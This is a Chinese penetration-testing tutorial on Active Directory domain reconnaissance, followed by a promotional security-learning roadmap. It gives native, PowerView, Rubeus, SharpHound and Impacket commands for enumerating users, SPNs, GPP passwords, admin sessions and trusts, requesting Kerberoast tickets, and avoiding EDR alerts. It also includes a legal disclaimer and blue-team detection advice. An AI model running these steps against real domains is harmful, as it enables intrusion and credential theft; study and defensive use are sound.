域环境渗透基础:域内信息收集方法
前言
在域渗透完整攻击链中,信息收集是所有攻击的起点。拿到域内一台机器的低权限 shell 之后,第一件事不是直接尝试拿域控,而是摸清整个 AD 域环境架构:域名、域控位置、用户、组、机器、服务账号、组策略、共享、信任关系。
AD 域有一个很关键的特点:任意普通域用户,默认就可以查询大量域信息,不需要管理员权限。很多新手拿到域内主机之后,只会简单执行几条 net 命令,漏掉大量高价值信息,导致找不到攻击路径。
本文从本机判断是否在域内 → 定位域控 → 用户 / 组枚举 → SPN、GPO、共享、域信任 → BloodHound 可视化,整理域内信息收集全套方法,包含系统原生命令、PowerView、SharpHound,适合靶场练习与授权渗透测试使用。
免责声明:本文内容仅用于授权环境安全测试、AD 靶场学习。严禁在未授权企业域环境执行域信息收集、渗透攻击,未经授权的内网攻击行为违反《网络安全法》,需承担法律责任。
一、第一步:判断当前主机是否加入域(本机基础信息)
拿到 shell,首先确认当前机器是工作组机器,还是域内成员主机,当前登录账号是本地账号还是域账号。
CMD 原生命令
# 查看当前登录用户,判断是否域账号
whoami
# 查看系统信息,域名、域控信息
systeminfo
# 查看登录的域控制器(logonserver,非常重要)
set logonserver
# 查看本机用户和本地管理员组
net user
net localgroup administrators
# 查看当前主机名、域名
echo %USERDNSDOMAIN%
- 如果
USERDNSDOMAIN为空,代表当前机器不在域; %logonserver%的值,就是当前主机认证的域控机器名。
PowerShell 查看
# 获取域信息
Get-ADDomain
# 获取当前计算机对象信息
Get-ADComputer $env:COMPUTERNAME
二、第二步:定位域控制器(DC)
域控是整个 AD 核心,保存所有账号、组策略。我们需要拿到域控的机器名、IP、DNS 记录。
CMD 方式
# 查看域内所有域控制器
net group "Domain Controllers" /domain
# 通过DNS SRV记录查找域控(推荐)
nslookup -type=srv _ldap._tcp.dc._msdcs.shturl.
# ping域名解析域控IP
ping shturl.
PowerView(PowerShell)
# 获取所有域控
Get-DomainController
端口特征:域控默认开放 53 (DNS)、88 (Kerberos)、389 (LDAP)、445、3389、5985 等。
三、第三步:域用户与用户组枚举
目标:找出域普通用户、域管理员组、高权限账号,筛选可用于 Kerberoast、AS-REP Roast 的账号。
CMD 原生命令(无文件落地,推荐优先使用)
# 查询域内所有用户
net user /domain
# 查询域内所有组
net group /domain
# 查询Domain Admins域管理员组成员
net group "Domain Admins" /domain
# 查询Enterprise Admins企业管理员(林根域)
net group "Enterprise Admins" /domain
PowerView 查询(信息更完整)
# 获取域全部用户
Get-DomainUser
# 获取域全部组
Get-DomainGroup
# 查询Domain Admins组成员,递归
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
# 查询保护组AdminCount=1的账号(高价值账号)
Get-DomainUser -AdminCount
重点关注:
- Domain Admins(域管理员)
- Enterprise Admins(企业管理员)
- Account Operators、Backup Operators 这类内置特权组
四、SPN 枚举(为 Kerberoast 攻击做准备)
SPN(服务主体名称)绑定在域账号上,普通域用户即可查询。找到绑定 SPN 的域用户账号,就可以请求 TGS 票据,进行离线爆破(Kerberoast 烤羊毛)。
Windows 自带 setspn,无需额外脚本
# 查询当前域所有SPN
setspn -T shturl. -Q */*
PowerView
# 列出所有带有SPN的域用户账号(过滤机器账号$)
Get-DomainUser -SPN
Rubeus
Rubeus.exe kerberoast /list
筛选技巧:过滤名字以
$结尾的机器账号,机器账号密码是强随机密码,几乎无法爆破,只保留域用户账号作为 Kerberoast 目标。
五、GPO 组策略枚举(查找配置错误、GPP 密码)
组策略 GPO 可以批量给域内主机推送配置。旧版组策略首选项 GPP 会把账号密码保存在 SYSVOL 共享中,虽然 AES 加密,但密钥公开,可以直接解密拿到明文密码,是经典的域内漏洞。
# 查询域内所有GPO
Get-DomainGPO
# 查找GPP包含密码的策略(SYSVOL)
Find-GPOComputerAdmin
SYSVOL 路径:\\shturl.\SYSVOL,域内所有机器都可读,重点搜索cpassword关键字。
六、域共享文件夹枚举
查找域内开放的共享,里面经常存放文档、备份文件、配置文件,容易泄露账号密码。
# CMD查看域共享
net view \\dc01.shturl.
# PowerView查找域内所有可读共享
Find-DomainShare -CheckShareAccess
重点关注:SYSVOL、NETLOGON、部门文件共享、备份共享。
七、会话枚举:查找域管理员登录在哪台机器
这一步是域渗透非常关键的一步:找到域管理员当前登录的主机。只要拿下这台主机,dump 内存就能拿到域管凭证,直接横向拿下域控。
PowerView
# 查找域管理员登录的机器
Invoke-UserHunter
# 轻量版本,更隐蔽
Invoke-StealthUserHunter
原理:查询各主机的登录会话,找到 Domain Admin 登录的机器。拿到目标主机后,优先对这台机器进行提权、抓取凭证。
八、域信任关系枚举(跨域 / 跨林渗透)
大型企业会有多个域,存在域信任关系。如果当前域和子域、外部域存在双向信任,拿到当前域权限,可进一步跨域渗透。
# 查询域信任关系
Get-DomainTrust
信任类型:父 - 子域信任、外部信任、林信任。
九、BloodHound(血犬)AD 可视化分析
BloodHound 是域渗透神器,核心思路:收集 AD 所有对象关系,用图数据库展示攻击路径。普通域用户权限就可以采集数据。
- 采集器 SharpHound(C#)执行采集:
SharpHound.exe -c all
执行完成生成 zip 数据包;
2. Neo4j 数据库 + BloodHound 客户端,导入 zip;
3. 常用查询:
- 查找 Domain Admin;
- 查找可 Kerberoast 账号;
- 查找普通用户到域控的最短攻击路径;
- 查找可利用的 ACL 权限。
注意:SharpHound 会批量查询大量 AD 对象,会产生大量日志,极易触发 EDR 和蓝队告警。红蓝对抗实战不要直接
-c all,可以选择部分采集,降低动静。
十、Linux 下代理枚举(不落地文件,适合 socks 隧道)
如果已经建立 socks 代理,在攻击机使用 Impacket 套件,不用在 Windows 跳板上传任何脚本,减少落地风险。
# 枚举域用户
python3 GetADUsers.py shturl./user:Password@192.168.1.10
# 枚举SPN,请求TGS票据(Kerberoast)
python3 GetUserSPNs.py shturl./user:Password@192.168.1.10 -request
CrackMapExec 批量探测内网主机 SMB:
crackmapexec smb 192.168.1.0/24 -u user -p Password
十一、信息收集优先级与实战流程
推荐按照这个顺序收集信息,由浅入深,由本机到整个域:
- 判断当前主机是否在域、当前账号权限;
- 获取域名、定位域控 IP;
- 枚举域用户、域管理员组;
- SPN 枚举,筛选 Kerberoast 目标;
- GPO 与 SYSVOL 共享,查找 GPP 密码;
- 查找域内共享文件;
- 会话枚举,定位域管理员登录主机;
- 域信任关系;
- BloodHound 可视化,梳理攻击路径。
实战原则:优先原生系统命令,尽量少上传 PowerView、SharpHound 这类工具。工具落地会触发杀毒 / EDR 告警;net、setspn、nslookup 属于系统自带程序,行为更隐蔽。
十二、蓝队检测与加固方案(报告加固建议)
检测审计
- 监控 LDAP 大量查询行为:短时间大量查询用户、组、SPN;
- 监控 SharpHound、PowerView、Rubeus 等工具进程;
- 审计 SYSVOL 异常访问,大量读取组策略文件;
- 监控 4769 事件,批量 TGS 票据请求(Kerberoast);
- 监测异常会话查询、远程 NetSessionEnum 调用。
加固方案
- 最小权限:普通域用户不要分配多余权限;
- 清理无用 SPN,服务账号使用 gMSA 托管账号,抵御 Kerberoast;
- 淘汰旧 GPP,删除 SYSVOL 中遗留 cpassword 密码;
- 限制普通用户远程查询其他主机登录会话;
- 域内账号设置强密码,保护 Domain Admin 账号,禁止域管理员日常登录普通工作站;
- 监控 LDAP 查询日志,对批量 AD 查询行为告警。
十三、实战踩坑清单
❌坑 1:拿到普通域账号,直接执行 SharpHound 全采集,触发 EDR 告警
红蓝对抗中优先手动命令收集,BloodHound 作为后期辅助分析,不要上来直接全量采集。
❌坑 2:SPN 枚举后,拿机器账号(带 $)尝试 Kerberoast
机器账号密码是随机强密码,爆破几乎不可能成功,只筛选域用户账号。
❌坑 3:找到 Domain Admin 组,但是该账号没有登录任何机器
域管账号不登录工作站,就无法在工作站 dump 凭证,需要寻找其他攻击路径,如 ACL、GPO 漏洞。
❌坑 4:GPP 已经修复,还在疯狂搜索 cpassword
2012 之后微软修复 GPP 漏洞,新环境很难找到 cpassword,不要把所有希望放在这里。
❌坑 5:信息收集完,不整理,信息杂乱找不到攻击入口
收集信息之后,整理:域控 IP、域管理员列表、SPN 账号、共享、管理员登录主机,才能选择后续攻击手段。
十四、总结
域内信息收集本质,就是利用 AD 原生查询接口,绘制整个域的用户、机器、权限关系图。AD 默认允许普通域用户读取大量目录信息,这也是域渗透前期最核心的攻击面。
所有域攻击(Kerberoast、ASREPRoast、GPP 漏洞、ACL 攻击、跨域渗透)都依赖信息收集。信息收集越完整,越容易找到简单的配置漏洞,而不是硬找系统漏洞。
一句话记住:域渗透先收集,后攻击;优先系统自带命令,减少工具落地;核心目标定位域管理员登录机器、高价值 SPN 账号。
最后
网络安全需要学习那些知识
网络安全零基础入门学习路线&规划
初级
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!

7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.
零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习; 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完; ·用Python编写漏洞的exp,然后写一个简单的网络爬虫; ·PHP基本语法学习并书写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·了解Bootstrap的布局或者CSS。
8、超级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。

网络安全工程师企业级学习路线

视频配套资料&国内外网安书籍、文档&工具
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

一些我自己买的、其他平台白嫖不到的视频教程:

要学习网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。
机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!
这份完整版的学习资料已经上传优快云,朋友们如果需要可以微信扫描下方优快云官方认证二维码免费领取【保证100%免费】

842



被折叠的 条评论
为什么被折叠?



